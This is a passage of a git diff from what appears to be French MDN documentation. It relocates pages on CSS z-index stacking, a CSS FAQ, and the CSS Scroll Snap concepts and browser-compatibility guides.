+  font: 12px/20px Arial, sans-serif;
+}
+
+div {
+  opacity: 0.7;
+  position: relative;
+}
+
+h1 {
+  font: inherit;
+  font-weight: bold;
+}
+
+#div1, #div2 {
+  border: 1px dashed #696;
+  padding: 10px;
+  background-color: #cfc;
+}
+
+#div1 {
+  z-index: 5;
+  margin-bottom: 190px;
+}
+
+#div2 {
+  z-index: 2;
+}
+
+#div3 {
+  z-index: 4;
+  opacity: 1;
+  position: absolute;
+  top: 40px;
+  left: 180px;
+  width: 330px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+  padding: 40px 20px 20px;
+}
+
+#div4, #div5 {
+  border: 1px dashed #996;
+  background-color: #ffc;
+}
+
+#div4 {
+  z-index: 6;
+  margin-bottom: 15px;
+  padding: 25px 10px 5px;
+}
+
+#div5 {
+  z-index: 1;
+  margin-top: 15px;
+  padding: 5px 10px;
+}
+
+#div6 {
+  z-index: 3;
+  position: absolute;
+  top: 20px;
+  left: 180px;
+  width: 150px;
+  height: 125px;
+  border: 1px dashed #009;
+  padding-top: 125px;
+  background-color: #ddf;
+  text-align: ce        }
+
+ +

HTML

+ +
<div id="div1">
+  <h1>Division Element #1</h1>
+  <code>position: relative;<br/>
+  z-index: 5;</code>
+</div>
+
+<div id="div2">
+  <h1>Division Element #2</h1>
+  <code>position: relative;<br/>
+  z-index: 2;</code>
+</div>
+
+<div id="div3">
+
+  <div id="div4">
+    <h1>Division Element #4</h1>
+    <code>position: relative;<br/>
+    z-index: 6;</code>
+  </div>
+
+  <h1>Division Element #3</h1>
+  <code>position: absolute;<br/>
+  z-index: 4;</code>
+
+  <div id="div5">
+    <h1>Division Element #5</h1>
+    <code>position: relative;<br/>
+    z-index: 1;</code>
+  </div>
+
+  <div id="div6">
+    <h1>Division Element #6</h1>
+    <code>position: absolute;<br/>
+    z-index: 3;</code>
+  </div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemple","556","396")}}

+ +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Ajout_de_z-index","Web/CSS/Comprendre_z-index/Exemple_1", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/css_questions_frequentes/index.html b/files/fr/web/css/css_questions_frequentes/index.html deleted file mode 100644 index 0d62552798..0000000000 --- a/files/fr/web/css/css_questions_frequentes/index.html +++ /dev/null @@ -1,246 +0,0 @@ ---- -title: Questions fréquentes en CSS -slug: Web/CSS/CSS_questions_frequentes -tags: - - CSS - - Débutant - - Exemple - - Guide -translation_of: Learn/CSS/Howto/CSS_FAQ ---- -

Pourquoi mon CSS, pourtant valide, ne fournit pas un rendu correct ?

- -

Pour afficher un document, les navigateurs utilisent le DOCTYPE - contraction de l'anglais document type, littéralement « type de document ». Ils utilisent un mode qui est compatible avec les standards du Web et avec les bugs des vieux navigateurs. Utiliser un DOCTYPE correct et moderne dès le début de votre code HTML améliorera la conformité aux standards du navigateur.

- -

Les navigateurs modernes ont deux modes de rendu :

- -
    -
  • Mode Quirk: aussi appelé mode de rétro-compatibilité. Il permet aux pages existantes d'être affichées telles que leurs auteurs l'ont voulu, en suivant les règles de rendu non-standards utilisées par les navigateurs anciens. Les documents avec un DOCTYPE incomplet, incorrect ou manquant, ou avec une déclaration DOCTYPE en utilisation avant 2001 seront affichées en mode Quirks.
    • -
  • Mode Standard: le navigateur tente de suivre strictement les standards du W3C. Idéalement, les nouvelles pages HTML doivent être conçues pour des navigateurs conformes aux normes. Par conséquent, les pages avec un DOCTYPE moderne seront affichées en mode Standard.
    • -
- -

Les navigateurs basés sur Gecko ont un troisième mode Presque Standard qui comporte quelques quirks mineurs.

- -

Voici une liste des DOCTYPE les plus couramment utilisés, qui déclencheront les modes Standard et Presque Standard des navigateurs :

- -
<!DOCTYPE html> /* Ceci est le doctype HTML5. Étant donné que chaque
-                   navigateur moderne utilise un parseur HTML5, c'est le
-                   doctype recommandé. */
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
-"https://www.w3.org/TR/html4/loose.dtd">
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"https://www.w3.org/TR/html4/strict.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
- -

Pourquoi mon CSS, qui est valide, n'est pas affiché du tout ?

- -

Pour être appliqué, une feuille CSS doit être définie avec un type MIME text/css. Si le serveur Web ne l'affiche pas avec ce type, la feuille CSS ne sera pas appliquée.

- -

Quelle est la différence entre id et class ?

- -

Les éléments HTML peuvent posséder un attribut de type id et / ou class. L'attribut id assigne un nom à l'élément sur lequel il s'applique. Pour un balisage correct, il ne peut y avoir qu'un et un seul élément avec ce nom. L'attribut class assigne une nom de classe à un élément. Ce nom peut être utilisé sur plusieurs éléments dans la même page. CSS vous permet d'appliquer des styles à des balises avec des noms définis en id et / ou en class.

- -

Quand vous voulez appliquer un style à un bloc ou un élément spécifique, utilisez un attribut id. Ces caractéristiques de style ne seront appliquées que sur cet id particulier.

- -

Quand vous voulez appliquer un style à plusieurs blocs ou éléments dans la même page, utilisez un attribut class.

- -

Les feuilles de style avec le moins de règles sont les plus performantes. Par conséquent, il est recommandé d'utiliser le plus possible les classes et de réserver les id à des usages spécifiques - comme connecter des éléments de type label et form ou pour décorer des éléments qui doivent être sémantiquement uniques.

- -

Voire Les sélecteurs CSS.

- -

Comment revenir à la valeur par défaut d'un propriété ?

- -

Jadis, il n'y avait pas de valeur nommée "default", par exemple. Le seul moyen de retrouver la valeur par défaut d'une propriété était de déclarer à nouveau cette propriété avec sa valeur par défaut.

- -

Ce comportement est différent depuis CSS2. Une propriété CSS peut maintenant prendre la valeur initial. C'est la valeur par défaut de cette propriété, valeur définie dans les spécifications de la propriété.

- -

Comment créer un style dérivant d'un autre ?

- -

CSS ne permet de faire dériver un style d'un autre. Voire l'article d'Eric Meyer à propos de la position du groupe de travail. Par contre, assigner plusieurs classes à un seul élément peut produire le même effet.

- -

Comment  assigner de multiples classes à un élément?

- -

Il est possible d'assigner aux éléments HTML de multiples classes en les listant dans l'attribut class en séparant chaque classe d'un espace.

- -
<style type="text/css">
-.news { background: black; color: white; }
-.today { font-weight: bold; }
-</style>
-
-<div class="news today">
-... content of today's news ...
-</div>
-
- -

Si la même propriété est déclarée dans les deux règles, le conflit est résolu de la manière suivante : premièrement selon la règle de spécificité, ensuite selon l'ordre de déclaration du CSS. L'ordre des classes dans l'attribut class n'est pas pris en compte.

- -

Pourquoi mes règles ne fonctionnent-elles pas correctement ?

- -

Les règles de style qui sont syntaxiquement correctes peuvent ne pas s'appliquer dans certaines situations. Vous pouvez utiliser la partie Règles de style CSS de l'inspecteur DOM pour déboguer les problèmes de ce genre, mais la plupart des cas de règles de style non utilisées sont listées ci-dessous.

- -

Hiérarchie des éléments HTML

- -

La manière dont les styles CSS sont appliqués aux éléments HTML dépend aussi de la hiérarchie des-dits éléments. Il est important de se souvenir qu'une règle appliquée à un élément surcharge la règle appliquée pour l'élément parent, quelle que soit la spécificité ou la priorité de la règle CSS.

- -
.news {
-  color: black;
-}
-
-.corpName {
-  font-weight: bold;
-  color: red;
-}
-
- -
<!-- Le texte de l'annonce est en noir
-     mais le nom de l'entreprise est
-     en rouge gras -->
-<div class="news"> (Reuters)
-   <span class="corpName">General Electric</span>
-  (GE.NYS) announced on Thursday...
-</div>
-
- -

Dans le cas où vous utilisez une hiérarchie HTML complexe et si une règle semble être ignorée, vérifiez que l'élément n'est pas contenu dans un autre élément avec une mise en forme différente.

- -

L'ordre et la redéfinition des règles

- -

Pour les feuilles de style CSS, l'ordre est important. Si vous définissez une règle une première fois puis que vous la définissez à nouveau par la suite, c'est cette dernière définition qui sera prise en compte et utilisée.

- -
#stockTicker {
-  font-weight: bold;
-}
-.stockSymbol {
-  color: red;
-}
-/*  D'autres règles             */
-/*  D'autres règles             */
-/*  D'autres règles             */
-.stockSymbol {
-  font-weight: normal;
-}
-
- -

 

- -
<!-- La plupart du texte est en gras sauf "GE",
-     qui est en rouge et sans graisse -->
-<div id="stockTicker"> NYS: <span class="stockSymbol">GE</span> +1.0 ... </div>
-
-
- -

Pour éviter ce type d'erreur, le mieux consiste à ne définir les règles qu'une seule fois pour un sélecteur donné et à grouper toutes les règles appartenant à ce sélecteur.

- -

Utiliser les propriétés raccourcies

- -

Les propriétés raccourcies sont un bon outil pour définir les règles CSS car elles permettent d'obtenir une syntaxe concise. On peut utiliser les propriétés raccourcies avec uniquement quelques unes des valeurs associées, c'est possible et c'est correct ; toutefois, il faut se rappeler que tous les attributs qui ne sont pas déclarés verront leurs valeurs par défaut (aussi appelées valeurs initiales) utilisées. Cela signifie que si une règle précédente indiquait la valeur pour une propriété détaillée, elle sera surchargée de façon implicite.

- -
#stockTicker {
-  font-size: 12px;
-  font-family: Verdana;
-  font-weight: bold;
-}
-
-.stockSymbol {
-  font: 14px Arial;
-  color: red;
-}
-
- -
<div id="stockTicker">
-  NYS:
-  <span class="stockSymbol">
-    GE
-  </span>
-  +1.0 ...
-</div>
- -

Dans l'exemple précédent, le problème apparaît avec des règles destinées à des éléments différents mais il peut également se produire pour un seul élément car l'ordre des règles est important.

- -
#stockTicker {
-  font-weight: bold;
-  font: 12px Verdana;
-  /* font-weight vaut maintenant normal */
-}
-
- -

Utiliser le sélecteur *

- -

Le sélecteur * fait référence à n'importe quel élément et doit donc être utilisé avec soin.

- -
body * {
-  font-weight: normal;
-}
-
-#stockTicker {
-  font: 12px Verdana;
-}
-
-.corpName {
-  font-weight: bold;
-}
-
-.stockUp {
-  color: red;
-}
-
- -
<div id="section">
-  NYS:
-  <span class="corpName">
-    <span class="stockUp">
-      GE
-    </span>
-  </span>
-  +1.0 ...
-</div>
- -

Dans cet exemple, le sélecteur body * cible tous les éléments à l'intérieur de body, quel que soit le niveau hiérarchique à l'intérieur du document, y compris pour la classe .stockUp. Ainsi, la règle font-weight: bold; appliquée sur la classe .corpName est surchargée par la règle font-weight: normal; qui est appliquée à tous les éléments contenus dans body.

- -

Le sélecteur * doit être utilisé aussi peu que possible car il s'agit d'un sélecteur lent, notamment lorsqu'il n'est pas utilisé comme le premier composant d'un sélecteur.

- -

La spécificité en CSS

- -

Lorsque plusieurs règles s'applique à un même élément. La règle choisie dépend de la spécificité. Les styles inline (ceux déclarés via l'attribut HTML style) sont pris en compte en priorité, suivis par ceux manipulés avec les sélecteurs d'identifiant, suivis ceux associés aux sélecteurs de classe et éventuellement par ceux associés aux sélecteurs de nom.

- -
div {
-  color: black;
-}
-
-#orange {
-  color: orange;
-}
-
-.green {
-  color: green;
-}
-
- -
<div id="orange" class="green" style="color: red;">
-  Voici quelque chose qui sera rouge.
-</div>
- -

Les règles exactes sont plus complexes lorsque le sélecteur contient plusieurs composants. Pour plus de détails sur la façon dont la spécificité d'un sélecteur est calculé, on pourra lire le chapitre de la spécification CSS 2.1 ou le chapitre correspondant de la section Apprendre.

- -

Quid des propriétés -moz-*, -ms-*, -webkit-*, -o-* et -khtml-* ?

- -

Ces propriétés, appelées propriétés préfixées, sont des extensions au standard CSS. Elles sont utilisées pour les fonctionnalités expérimentales et non-standards afin d'éviter de polluer l'espace de noms usuel pour éviter des incompatibilités lorsque le standard est augmenté.

- -

Il n'est pas recommandé d'utilier ces propriétés pour des sites web en production. Si cela reste nécessaire, il est conseillé de prévoir une stratégie au cas où ces propriétés préfixées soient retirées. En effet, elles peuvent être modifiées voire supprimées lorsque le standard évolue.

- -

Pour plus d'informations sur les extensions CSS de Mozilla, vous pouvez consulter la page associée.

- -

Quel est l'impact de z-index sur le positionnement des éléments ?

- -

La propriété {{cssxref("z-index")}} définit l'ordre d'empilement des élément.

- -

Un élément pour lequel z-index est plus grand qu'un autre sera toujours empilé « devant ».

- -

La propriété z-index ne fonctionne que pour les éléments dont la position est définie (c'est-à-dire les éléments pour lesquels la propriété {{cssxref("position")}} vaut absolute, relative ou fixed).

diff --git a/files/fr/web/css/css_scroll_snap/basic_concepts/index.html b/files/fr/web/css/css_scroll_snap/basic_concepts/index.html new file mode 100644 index 0000000000..3ec397cfde --- /dev/null +++ b/files/fr/web/css/css_scroll_snap/basic_concepts/index.html @@ -0,0 +1,70 @@ +--- +title: Concepts de bases pour CSS Scroll Snap +slug: Web/CSS/CSS_Scroll_Snap/Concepts_de_base +tags: + - CSS + - CSS Scroll Snap + - Guide +translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts +--- +
{{CSSRef}}
+ +

Le module de spécification CSS Scroll Snap fournit des outils pour « accrocher » sur certains points lors du défilement dans un document. Un tel comportement peut s'avérer utile pour obtenir un résultat analogue à certaines applications (qu'elles soient mobiles ou non).

+ +

Principes fondamentaux

+ +

Les propriétés principales définies par la spécification Scroll Snap sont {{CSSxRef("scroll-snap-type")}} et {{CSSxRef("scroll-snap-align")}}. La propriété scroll-snap-type s'utilise sur le conteneur de défilement (scroll container) et établit le type et la direction du défilement.

+ +

La propriété scroll-snap-align doit être utilisée sur les éléments fils afin de définir la position de défilement sur laquelle ils s'accrocheront. L'exemple qui suit illustre des positions d'accroche sur l'axe vertical et scroll-snap-align est utilisée sur l'élément {{HTMLElement("section")}} afin de définir le point où devrait s'arrêter le défilement.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y.html", '100%', 700)}}

+ +

Utiliser scroll-snap-type

+ +

La propriété {{CSSxRef("scroll-snap-type")}} doit connaître la direction selon laquelle s'effectue le défilement et l'accroche. Cette direction peut s'exprimer avec des valeurs physiques : x ou y ou avec des valeurs logiques : block ou inline. On peut également utiliser le mot-clé both afin d'avoir un défilement et des accroches selon les deux axes.

+ +

Cette propriété s'utilise également avec les mots-clés mandatory ou proximity. Le mot-clé mandatory indique au navigateur que le contenu doit s'accrocher à un point donné, quelle que soit la position du défilement. Le mot-clé proximity indique que le contenu peut s'accrocher sur un point mais que ce n'est pas obligatoire.

+ +

La valeur mandatory permettra d'obtenir une expérience cohérente au sens où l'utilisateur saura que le navigateur accrochera le contenu à chaque point. Cela signifie qu'on peut être certain que quelque chose sera en haut de l'écran à la fin du défilement. Toutefois, cela peut entraîner des problèmes lorsqu'un portion du contenu est trop grande et qu'on obtient un scénario où il est impossible de défiler afin de voir une portion donnée du contenu. Ainsi, on utilisera mandatory dans des situations maîtrisées où la taille du contenu sur un écran est connue.

+ +

La valeur proximity déclenchera une accroche lorsque la position du défilement est proche du point d'accroche. C'est le navigateur qui décidera de la distance seuil exacte pour laquelle déclencher l'accroche ou non. Dans l'exemple qui suit, vous pouvez passer de mandatory à proximity afin d'observer l'effet obtenu.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-proximity.html", '100%', 700)}}

+ +

Utiliser scroll-snap-align

+ +

La propriété {{CSSxRef("scroll-snap-align")}} peut être utilisée avec les valeurs start, end ou center. Ces valeurs indiquent l'emplacement où le contenu doit s'accrocher sur le conteneur de défilement. Vous pouvez modifier la valeur scroll-snap-align dans l'exemple interactif qui suit pour voir le résultat obtenu.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/align.html", '100%', 700)}}

+ +

Ajuster la position de défilement avec un remplissage

+ +

Si on ne souhaite pas que le contenu s'accroche exactement sur le bord du conteneur de défilement, on pourra utiliser la propriété {{CSSxRef("scroll-padding")}} (ou les propriétés détaillées équivalentes) afin de définir un remplissage (padding) pour décaler la position du contenu.

+ +

Dans l'exemple qui suit, on paramètre scroll-padding à 40 pixels. Lorsqu'on accroche au début de la deuxième et de la troisième section, le défilement s'arrête à 40 pixels du début de la section. Vous pouvez adapter la valeur de scroll-padding afin de voir l'impact sur le décalage obtenu.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding.html", '100%', 700)}}

+ +

Cette propriété s'avère particulièrement utile lorsqu'on a un élément fixe (une barre de navigation par exemple) qui pourrait être chevauchée par du contenu qui défile. En utilisant scroll-padding, on peut réserver un espace pour cet élément fixe. Dans l'exemple suivant, on peut voir le titre <h1> qui reste à l'écran et le contenu qui défile en dessous de ce titre. Sans le remplissage, le titre aurait été chevauché par une partie du contenu lors de l'accroche.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding-sticky.html", '100%', 700)}}

+ +

Ajouter des marges sur les éléments fils du défilement

+ +

Une autre méthode permettant d'obtenir un espace entre le bord du conteneur et les éléments fils est d'utiliser la propriété {{CSSxRef("scroll-margin")}} sur l'élément fils. scroll-margin définit principalement le décalage par rapport à la boîte définie. Vous pouvez manipuler cette propriété dans l'exemple interactif suivant :

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-margin.html", '100%', 700)}}

+ +

La propriété scroll-snap-stop

+ +

La propriété {{CSSxRef("scroll-snap-stop")}} indique au navigateur qu'il devrait arrêter le défilement pour chaque point d'accroche. Pour nos exemples précédents, cela signifie qu'on s'arrêtera nécessairement au début de chaque section. Cette propriété dispose de moins d'implémentations dans les navigateurs.

+ +

Cela peut être utile pour s'assurer que les utilisateurs consultent chaque section sans louper du contenu par inadvertence. En revanche, cela peut rendre le défilement plus lent et ralentir considérablement un utilisateur qui chercherait une section donnée.

+ +
+

Note : La propriété scroll-snap-stop est actuellement mise en question dans la version Candidate Recommendation de la spécification et pourrait être retirée.

+
+ +

Compatibilité des navigateurs

+ +

Les pages de chaque propriété détaillent la compatibilité des différents navigateurs. On notera qu'avant Firefox 68, une ancienne version de la spécification était implémentée. Vous pouvez poursuivre avec le guide suivant pour en savoir plus sur l'écriture de code compatible entre les différents navigateurs qui implémentent différentes versions de la spécification.

diff --git a/files/fr/web/css/css_scroll_snap/browser_compat/index.html b/files/fr/web/css/css_scroll_snap/browser_compat/index.html new file mode 100644 index 0000000000..f5d6f97ca4 --- /dev/null +++ b/files/fr/web/css/css_scroll_snap/browser_compat/index.html @@ -0,0 +1,46 @@ +--- +title: Compatibilité des navigateurs et CSS Scroll Snap +slug: Web/CSS/CSS_Scroll_Snap/Compatibilité_navigateurs +tags: + - CSS + - CSS Scroll Snap + - Compatibilité + - Guide +translation_of: Web/CSS/CSS_Scroll_Snap/Browser_compat +--- +
{{CSSRef}}
+ +

Firefox implémentait initialement une première version de la spécification Scroll Snap appelée alors Scroll Snap Points. Avec Firefox 68, c'est la nouvelle version de la spécification qui est implémentée et les anciennes propriétés sont retirées.

+ +

Que faire si mon style utilisait l'ancienne implémentation (Firefox < 68) ?

+ +

Si vous avez uniquement ciblé l'ancienne implémentation de Firefox avec les propriétés définies par Scroll Snap Points, vous devriez mettre à jour votre code afin d'utiliser la nouvelle spécification. Ainsi, votre code fonctionnera dans l'ensemble des navigateurs qui implémente la spécification à jour, y compris Firefox. Si vous n'effectuez pas ces changements, les accroches de défilement ne fonctionneront plus à partir de Firefox 68.

+ +

Voici les principaux points d'attention :

+ +
    +
  • Les propriétés {{CSSxRef("scroll-snap-type-x")}} et {{CSSxRef("scroll-snap-type-y")}} ont été abandonnées
    • +
  • La propriété {{CSSxRef("scroll-snap-type")}} n'est plus une propriété raccourcie et l'ancienne syntaxe courte (ex. scroll-snap-type: mandatory) cessera de fonctionner
    • +
+ +

Comment utiliser l'ancienne implémentation comme méthode de recours ?

+ +

Si vous utilisez déjà l'ancienne implémentation pour cibler les navigateurs plus anciens, vous pouvez continuer à l'utiliser de la façon décrite ci-après.

+ +

Dans ce premier exemple, on utilise l'ancienne version de la spécification et la nouvelle afin de pouvoir utiliser les positions d'accroche quel que soit le navigateur tant que celui-ci prend en charge les accroches au défilement.

+ +

L'exemple contient les propriétés {{CSSxRef("scroll-snap-points-y")}} et {{CSSxRef("scroll-snap-destination")}}, dépréciées, afin que les accroches fonctionnent dans Firefox. On ajoute également la propriété {{CSSxRef("scroll-snap-type")}} à deux reprises, une fois avec la valeur y (nouvelle version de la spécification) et une seconde fois pour Firefox qui prend en charge cette propriété mais pas la valeur y.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y-old-spec.html", '100%', 700)}}

+ +

Si vous testez cet exemple attentivement, vous pourrez voir qu'il fonctionne dans plus de navigateurs, y compris ceux qui couvrent cette période intermédiaire. Les anciennes propriétés de la spécification sont documentées sur MDN sous la section Scroll Snap Points.

+ +

Faut-il utiliser les deux spécifications ?

+ +

Les points d'accroche au défilement font partie de ces fonctionnalités CSS sympathiques où l'absence de prise en charge signifie uniquement qu'on ne récupère la fonctionnalité avancée mais que le reste du site ou de l'application continue de fonctionner. Aussi, vous pouvez tout à fait choisir de traiter Firefox comme un navigateur qui ne prend pas en charge cette fonctionnalité et éviter la complexité associée à la gestion des deux configurations. Une fois que la nouvelle spécification sera implémentée, les utilisateurs en bénificieront au fur et à mesure.

+ +

Si vous souhaitez tester la prise en charge grâce aux requêtes de fonctionnalité, nous vous recommandons de tester {{CSSxRef("scroll-snap-align")}} car cette propriété n'existait pas dans la première spécification. Toutefois, ces propriétés ne devraient causer aucun problème aux navigateurs qui ne les prennent pas en charge car ils les ignoreront simplement.

+ +

Pourquoi existent deux versions ?

+ +

Enfin, on peut se demander pourquoi une telle situation existe aujourd'hui. Ce n'est que la réalité du développement de CSS : les nouvelles fonctionnalités ne peuvent pas exister en pure théorie et en absence d'implémentation de la part des navigateurs. Lors de la phase d'implémentation, les navigateurs peuvent découvrir des problèmes qui n'apparaissent que dans des situations bien concrètes. Dans de tels cas, il faut alors mettre à jour la spécification et on peut alors avoir différentes versions de la spécification et différents navigateurs qui se mettent à jour au fur et à mesure.

diff --git "a/files/fr/web/css/css_scroll_snap/compatibilit\303\251_navigateurs/index.html" "b/files/fr/web/css/css_scroll_snap/compatibilit\303\251_navigateurs/index.html" deleted file mode 100644 index f5d6f97ca4..0000000000 --- "a/files/fr/web/css/css_scroll_snap/compatibilit\303\251_navigateurs/index.html" +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Compatibilité des navigateurs et CSS Scroll Snap -slug: Web/CSS/CSS_Scroll_Snap/Compatibilité_navigateurs -tags: - - CSS - - CSS Scroll Snap - - Compatibilité - - Guide -translation_of: Web/CSS/CSS_Scroll_Snap/Browser_compat ---- -
{{CSSRef}}
- -

Firefox implémentait initialement une première version de la spécification Scroll Snap appelée alors Scroll Snap Points. Avec Firefox 68, c'est la nouvelle version de la spécification qui est implémentée et les anciennes propriétés sont retirées.

- -

Que faire si mon style utilisait l'ancienne implémentation (Firefox < 68) ?

- -

Si vous avez uniquement ciblé l'ancienne implémentation de Firefox avec les propriétés définies par Scroll Snap Points, vous devriez mettre à jour votre code afin d'utiliser la nouvelle spécification. Ainsi, votre code fonctionnera dans l'ensemble des navigateurs qui implémente la spécification à jour, y compris Firefox. Si vous n'effectuez pas ces changements, les accroches de défilement ne fonctionneront plus à partir de Firefox 68.

- -

Voici les principaux points d'attention :

- -
    -
  • Les propriétés {{CSSxRef("scroll-snap-type-x")}} et {{CSSxRef("scroll-snap-type-y")}} ont été abandonnées
    • -
  • La propriété {{CSSxRef("scroll-snap-type")}} n'est plus une propriété raccourcie et l'ancienne syntaxe courte (ex. scroll-snap-type: mandatory) cessera de fonctionner
    • -
- -

Comment utiliser l'ancienne implémentation comme méthode de recours ?

- -

Si vous utilisez déjà l'ancienne implémentation pour cibler les navigateurs plus anciens, vous pouvez continuer à l'utiliser de la façon décrite ci-après.

- -

Dans ce premier exemple, on utilise l'ancienne version de la spécification et la nouvelle afin de pouvoir utiliser les positions d'accroche quel que soit le navigateur tant que celui-ci prend en charge les accroches au défilement.

- -

L'exemple contient les propriétés {{CSSxRef("scroll-snap-points-y")}} et {{CSSxRef("scroll-snap-destination")}}, dépréciées, afin que les accroches fonctionnent dans Firefox. On ajoute également la propriété {{CSSxRef("scroll-snap-type")}} à deux reprises, une fois avec la valeur y (nouvelle version de la spécification) et une seconde fois pour Firefox qui prend en charge cette propriété mais pas la valeur y.

- -

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y-old-spec.html", '100%', 700)}}

- -

Si vous testez cet exemple attentivement, vous pourrez voir qu'il fonctionne dans plus de navigateurs, y compris ceux qui couvrent cette période intermédiaire. Les anciennes propriétés de la spécification sont documentées sur MDN sous la section Scroll Snap Points.

- -

Faut-il utiliser les deux spécifications ?

- -

Les points d'accroche au défilement font partie de ces fonctionnalités CSS sympathiques où l'absence de prise en charge signifie uniquement qu'on ne récupère la fonctionnalité avancée mais que le reste du site ou de l'application continue de fonctionner. Aussi, vous pouvez tout à fait choisir de traiter Firefox comme un navigateur qui ne prend pas en charge cette fonctionnalité et éviter la complexité associée à la gestion des deux configurations. Une fois que la nouvelle spécification sera implémentée, les utilisateurs en bénificieront au fur et à mesure.

- -

Si vous souhaitez tester la prise en charge grâce aux requêtes de fonctionnalité, nous vous recommandons de tester {{CSSxRef("scroll-snap-align")}} car cette propriété n'existait pas dans la première spécification. Toutefois, ces propriétés ne devraient causer aucun problème aux navigateurs qui ne les prennent pas en charge car ils les ignoreront simplement.

- -

Pourquoi existent deux versions ?

- -

Enfin, on peut se demander pourquoi une telle situation existe aujourd'hui. Ce n'est que la réalité du développement de CSS : les nouvelles fonctionnalités ne peuvent pas exister en pure théorie et en absence d'implémentation de la part des navigateurs. Lors de la phase d'implémentation, les navigateurs peuvent découvrir des problèmes qui n'apparaissent que dans des situations bien concrètes. Dans de tels cas, il faut alors mettre à jour la spécification et on peut alors avoir différentes versions de la spécification et différents navigateurs qui se mettent à jour au fur et à mesure.

diff --git a/files/fr/web/css/css_scroll_snap/concepts_de_base/index.html b/files/fr/web/css/css_scroll_snap/concepts_de_base/index.html deleted file mode 100644 index 3ec397cfde..0000000000 --- a/files/fr/web/css/css_scroll_snap/concepts_de_base/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Concepts de bases pour CSS Scroll Snap -slug: Web/CSS/CSS_Scroll_Snap/Concepts_de_base -tags: - - CSS - - CSS Scroll Snap - - Guide -translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts ---- -
{{CSSRef}}
- -

Le module de spécification CSS Scroll Snap fournit des outils pour « accrocher » sur certains points lors du défilement dans un document. Un tel comportement peut s'avérer utile pour obtenir un résultat analogue à certaines applications (qu'elles soient mobiles ou non).

- -

Principes fondamentaux

- -

Les propriétés principales définies par la spécification Scroll Snap sont {{CSSxRef("scroll-snap-type")}} et {{CSSxRef("scroll-snap-align")}}. La propriété scroll-snap-type s'utilise sur le conteneur de défilement (scroll container) et établit le type et la direction du défilement.

- -

La propriété scroll-snap-align doit être utilisée sur les éléments fils afin de définir la position de défilement sur laquelle ils s'accrocheront. L'exemple qui suit illustre des positions d'accroche sur l'axe vertical et scroll-snap-align est utilisée sur l'élément {{HTMLElement("section")}} afin de définir le point où devrait s'arrêter le défilement.

- -

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y.html", '100%', 700)}}

- -

Utiliser scroll-snap-type

- -

La propriété {{CSSxRef("scroll-snap-type")}} doit connaître la direction selon laquelle s'effectue le défilement et l'accroche. Cette direction peut s'exprimer avec des valeurs physiques : x ou y ou avec des valeurs logiques : block ou inline. On peut également utiliser le mot-clé both afin d'avoir un défilement et des accroches selon les deux axes.

- -

Cette propriété s'utilise également avec les mots-clés mandatory ou proximity. Le mot-clé mandatory indique au navigateur que le contenu doit s'accrocher à un point donné, quelle que soit la position du défilement. Le mot-clé proximity indique que le contenu peut s'accrocher sur un point mais que ce n'est pas obligatoire.

- -

La valeur mandatory permettra d'obtenir une expérience cohérente au sens où l'utilisateur saura que le navigateur accrochera le contenu à chaque point. Cela signifie qu'on peut être certain que quelque chose sera en haut de l'écran à la fin du défilement. Toutefois, cela peut entraîner des problèmes lorsqu'un portion du contenu est trop grande et qu'on obtient un scénario où il est impossible de défiler afin de voir une portion donnée du contenu. Ainsi, on utilisera mandatory dans des situations maîtrisées où la taille du contenu sur un écran est connue.

- -

La valeur proximity déclenchera une accroche lorsque la position du défilement est proche du point d'accroche. C'est le navigateur qui décidera de la distance seuil exacte pour laquelle déclencher l'accroche ou non. Dans l'exemple qui suit, vous pouvez passer de mandatory à proximity afin d'observer l'effet obtenu.

- -

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-proximity.html", '100%', 700)}}

- -

Utiliser scroll-snap-align

- -

La propriété {{CSSxRef("scroll-snap-align")}} peut être utilisée avec les valeurs start, end ou center. Ces valeurs indiquent l'emplacement où le contenu doit s'accrocher sur le conteneur de défilement. Vous pouvez modifier la valeur scroll-snap-align dans l'exemple interactif qui suit pour voir le résultat obtenu.

- -

{{EmbedGHLiveSample("css-examples/scroll-snap/align.html", '100%', 700)}}

- -

Ajuster la position de défilement avec un remplissage

- -

Si on ne souhaite pas que le contenu s'accroche exactement sur le bord du conteneur de défilement, on pourra utiliser la propriété {{CSSxRef("scroll-padding")}} (ou les propriétés détaillées équivalentes) afin de définir un remplissage (padding) pour décaler la position du contenu.

- -

Dans l'exemple qui suit, on paramètre scroll-padding à 40 pixels. Lorsqu'on accroche au début de la deuxième et de la troisième section, le défilement s'arrête à 40 pixels du début de la section. Vous pouvez adapter la valeur de scroll-padding afin de voir l'impact sur le décalage obtenu.

- -

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding.html", '100%', 700)}}

- -

Cette propriété s'avère particulièrement utile lorsqu'on a un élément fixe (une barre de navigation par exemple) qui pourrait être chevauchée par du contenu qui défile. En utilisant scroll-padding, on peut réserver un espace pour cet élément fixe. Dans l'exemple suivant, on peut voir le titre <h1> qui reste à l'écran et le contenu qui défile en dessous de ce titre. Sans le remplissage, le titre aurait été chevauché par une partie du contenu lors de l'accroche.

- -

